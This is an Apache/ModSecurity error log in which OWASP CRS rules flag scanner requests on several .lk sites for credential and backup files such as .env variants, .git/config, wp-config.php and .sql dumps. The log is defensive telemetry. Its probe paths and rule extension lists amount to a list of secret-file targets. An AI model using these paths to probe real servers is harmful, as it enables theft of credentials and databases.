[Fri Jul 17 08:28:05.394470 2026] [security2:error] [pid 1993619:tid 1993619] [client 100.54.47.241:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "test.ksoft.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaPY1dLClkUfK_dfHhewAAAAI"]
[Fri Jul 17 08:28:05.441984 2026] [security2:error] [pid 1993659:tid 1993659] [client 34.229.141.17:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.inventory.jrdc.lk"] [uri "/index.php"] [unique_id "almaPJOFLENLI63GGOEKRgAAAAQ"]
[Fri Jul 17 08:28:05.477281 2026] [security2:error] [pid 2014321:tid 2014321] [client 100.54.47.241:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "test.ksoft.lk"] [uri "/database.sql"] [unique_id "almaPdbqW6u97-NXXfOrwQAAACE"]
[Fri Jul 17 08:28:05.477668 2026] [security2:error] [pid 2014321:tid 2014321] [client 100.54.47.241:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "test.ksoft.lk"] [uri "/database.sql"] [unique_id "almaPdbqW6u97-NXXfOrwQAAACE"]
[Fri Jul 17 08:28:05.478091 2026] [security2:error] [pid 2014321:tid 2014321] [client 100.54.47.241:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "test.ksoft.lk"] [uri "/database.sql"] [unique_id "almaPdbqW6u97-NXXfOrwQAAACE"]
[Fri Jul 17 08:28:05.604615 2026] [security2:error] [pid 1994446:tid 1994446] [client 34.229.141.17:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.inventory.jrdc.lk"] [uri "/index.php"] [unique_id "almaPF2NhE8i6ppze4etzgAAAAs"]
[Fri Jul 17 08:28:05.760909 2026] [security2:error] [pid 1993584:tid 1993584] [client 100.54.47.241:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "test.ksoft.lk"] [uri "/wp-config.php"] [unique_id "almaPVxP5-SsqbGuGB2lEgAAAAA"]
[Fri Jul 17 08:28:05.761181 2026] [security2:error] [pid 1993584:tid 1993584] [client 100.54.47.241:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "test.ksoft.lk"] [uri "/wp-config.php"] [unique_id "almaPVxP5-SsqbGuGB2lEgAAAAA"]
[Fri Jul 17 08:28:05.761758 2026] [proxy_fcgi:error] [pid 1993584:tid 1993584] [client 100.54.47.241:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:28:05.762226 2026] [security2:error] [pid 1993584:tid 1993584] [client 100.54.47.241:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "test.ksoft.lk"] [uri "/wp-config.php"] [unique_id "almaPVxP5-SsqbGuGB2lEgAAAAA"]
[Fri Jul 17 08:28:05.948939 2026] [security2:error] [pid 2014279:tid 2014279] [client 34.229.141.17:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.inventory.jrdc.lk"] [uri "/index.php"] [unique_id "almaPEz_ZDvgWqiMlMbLRQAAAB0"]
[Fri Jul 17 08:28:06.081491 2026] [security2:error] [pid 2014285:tid 2014285] [client 34.229.141.17:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.inventory.jrdc.lk"] [uri "/index.php"] [unique_id "almaPDPV8F2Ufi3kXba6oQAAAB4"]
[Fri Jul 17 08:28:06.179986 2026] [security2:error] [pid 1994956:tid 1994956] [client 100.54.47.241:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "test.ksoft.lk"] [uri "/.env.local"] [unique_id "almaPgG5-NXx3Mem1QgOEQAAAA8"]
[Fri Jul 17 08:28:06.180226 2026] [security2:error] [pid 1994956:tid 1994956] [client 100.54.47.241:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "test.ksoft.lk"] [uri "/.env.local"] [unique_id "almaPgG5-NXx3Mem1QgOEQAAAA8"]
[Fri Jul 17 08:28:06.180561 2026] [security2:error] [pid 1994956:tid 1994956] [client 100.54.47.241:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "test.ksoft.lk"] [uri "/.env.local"] [unique_id "almaPgG5-NXx3Mem1QgOEQAAAA8"]
[Fri Jul 17 08:28:06.343218 2026] [security2:error] [pid 1994966:tid 1994966] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almaMbyEqmgiTSUa55oHhQAAABA"]
[Fri Jul 17 08:28:06.559231 2026] [security2:error] [pid 2014321:tid 2014321] [client 100.54.47.241:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "test.ksoft.lk"] [uri "/.git/config"] [unique_id "almaPtbqW6u97-NXXfOrwwAAACE"]
[Fri Jul 17 08:28:06.559669 2026] [security2:error] [pid 2014321:tid 2014321] [client 100.54.47.241:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "test.ksoft.lk"] [uri "/.git/config"] [unique_id "almaPtbqW6u97-NXXfOrwwAAACE"]
[Fri Jul 17 08:28:06.560345 2026] [security2:error] [pid 2014321:tid 2014321] [client 100.54.47.241:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "test.ksoft.lk"] [uri "/.git/config"] [unique_id "almaPtbqW6u97-NXXfOrwwAAACE"]
[Fri Jul 17 08:28:07.556731 2026] [security2:error] [pid 2013828:tid 2013828] [client 100.54.47.241:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "test.ksoft.lk"] [uri "/db.sql"] [unique_id "almaP-N_HRgVfO4akvmJuQAAABg"]
[Fri Jul 17 08:28:07.557303 2026] [security2:error] [pid 2013828:tid 2013828] [client 100.54.47.241:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "test.ksoft.lk"] [uri "/db.sql"] [unique_id "almaP-N_HRgVfO4akvmJuQAAABg"]
[Fri Jul 17 08:28:07.557863 2026] [security2:error] [pid 2013828:tid 2013828] [client 100.54.47.241:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "test.ksoft.lk"] [uri "/db.sql"] [unique_id "almaP-N_HRgVfO4akvmJuQAAABg"]
[Fri Jul 17 08:28:07.796892 2026] [security2:error] [pid 1993573:tid 1993573] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almaMnt8zp89pALg8Q5lBAAAAA4"]
[Fri Jul 17 08:28:08.076246 2026] [security2:error] [pid 2014322:tid 2014322] [client 100.54.47.241:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "test.ksoft.lk"] [uri "/dump.sql"] [unique_id "almaQCBZZ4YwiWQXUfleCwAAACI"]
[Fri Jul 17 08:28:08.076626 2026] [security2:error] [pid 2014322:tid 2014322] [client 100.54.47.241:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "test.ksoft.lk"] [uri "/dump.sql"] [unique_id "almaQCBZZ4YwiWQXUfleCwAAACI"]
[Fri Jul 17 08:28:08.077035 2026] [security2:error] [pid 2014322:tid 2014322] [client 100.54.47.241:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "test.ksoft.lk"] [uri "/dump.sql"] [unique_id "almaQCBZZ4YwiWQXUfleCwAAACI"]
[Fri Jul 17 08:28:08.786733 2026] [security2:error] [pid 2005917:tid 2005917] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almaMnf2WrySr2miwA73fAAAABY"]
[Fri Jul 17 08:28:09.136379 2026] [security2:error] [pid 2014321:tid 2014321] [client 100.54.47.241:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "test.ksoft.lk"] [uri "/backup.sql"] [unique_id "almaQdbqW6u97-NXXfOrxgAAACE"]
[Fri Jul 17 08:28:09.136743 2026] [security2:error] [pid 2014321:tid 2014321] [client 100.54.47.241:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "test.ksoft.lk"] [uri "/backup.sql"] [unique_id "almaQdbqW6u97-NXXfOrxgAAACE"]
[Fri Jul 17 08:28:09.137114 2026] [security2:error] [pid 2014321:tid 2014321] [client 100.54.47.241:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "test.ksoft.lk"] [uri "/backup.sql"] [unique_id "almaQdbqW6u97-NXXfOrxgAAACE"]
[Fri Jul 17 08:28:09.200636 2026] [security2:error] [pid 2014256:tid 2014256] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almaM4Zvbo7N5o5zeYC62QAAABw"]
[Fri Jul 17 08:28:09.439216 2026] [security2:error] [pid 1993659:tid 1993659] [client 100.54.47.241:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "test.ksoft.lk"] [uri "/.env.backup"] [unique_id "almaQZOFLENLI63GGOEKSwAAAAQ"]
[Fri Jul 17 08:28:09.439373 2026] [security2:error] [pid 1993659:tid 1993659] [client 100.54.47.241:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "test.ksoft.lk"] [uri "/.env.backup"] [unique_id "almaQZOFLENLI63GGOEKSwAAAAQ"]
[Fri Jul 17 08:28:09.439584 2026] [security2:error] [pid 1993659:tid 1993659] [client 100.54.47.241:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "test.ksoft.lk"] [uri "/.env.backup"] [unique_id "almaQZOFLENLI63GGOEKSwAAAAQ"]
[Fri Jul 17 08:28:09.439957 2026] [security2:error] [pid 1993659:tid 1993659] [client 100.54.47.241:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "test.ksoft.lk"] [uri "/.env.backup"] [unique_id "almaQZOFLENLI63GGOEKSwAAAAQ"]
[Fri Jul 17 08:28:09.811350 2026] [security2:error] [pid 2013810:tid 2013810] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almaMyY5vpBDD-fJ9tQLkQAAABc"]
[Fri Jul 17 08:28:09.896964 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.152.7.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/.env.staging"] [unique_id "almaQY1dLClkUfK_dfHhgQAAAAI"]
[Fri Jul 17 08:28:09.897247 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.152.7.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.vraasbackdev.ksoft.web.lk"] [uri "/.env.staging"] [unique_id "almaQY1dLClkUfK_dfHhgQAAAAI"]
